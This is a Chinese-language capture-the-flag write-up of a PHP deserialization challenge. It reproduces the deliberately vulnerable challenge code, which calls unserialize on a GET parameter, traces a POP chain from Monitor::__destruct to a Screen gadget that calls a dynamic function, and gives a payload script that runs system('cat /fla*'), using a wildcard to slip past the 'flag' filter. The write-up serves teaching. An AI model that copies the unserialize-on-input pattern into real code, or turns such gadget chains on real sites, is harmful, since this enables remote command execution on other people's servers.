

php
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下
class Monitor {
private $status;
private $reporter;
public function __construct() {
$this->status = "normal";
$this->reporter = new Logger();
}
public function __destruct() {
// 当对象销毁时,如果状态是 danger,则触发报警
if ($this->status === "danger") {
$this->reporter->alert();
}
}
}
class Logger {
public function alert() {
echo "System normal. No alert needed.\n";
}
}
class Screen {
public $content;
public $format;
public function alert() {
// 这里的调用看起来像是一个格式化输出
$func = $this->format;
return $func($this->content);
}
}
// 入口点
if (isset($_GET['code'])) {
$input = $_GET['code'];
// 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
if (preg_match('/flag/i', $input)) {
die("No flag here!");
}
unserialize($input);
} else {
highlight_file(__FILE__);
}
?>
PHP 反序列化 (POP 链构造)题目
php
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。
那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag
php
public function alert() {
// 这里的调用看起来像是一个格式化输出
$func = $this->format;
return $func($this->content);
}
那么我们如何调用Screen类下的alert()函数呢?
可以看到在Monitor中会调用alert()函数
php
public function __destruct() {
// 当对象销毁时,如果状态是 danger,则触发报警
if ($this->status === "danger") {
$this->reporter->alert();
}
}
但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()
但是这个Logger不是我们想要的
php
public function __construct() {
$this->status = "normal";
$this->reporter = new Logger();
}
因此我们要想办法将Logger替换为Screen
最后Monitor销毁的时候会自动调用__destruct()实现攻击
思路整理如下:
php
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'
2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()
我的payload如下
php
<?php
class Monitor {
private $status;
private $reporter;
public function __construct() {
$this->status = "danger";
$this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
}
}
class Screen {
public $content = "cat /fla*"; # 通过通配符绕过flag过滤
public $format = "system"; # 静态变量可以直接这样赋值
}
$exp = new Monitor();
echo(urlencode(serialize($exp)));
?>
下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的
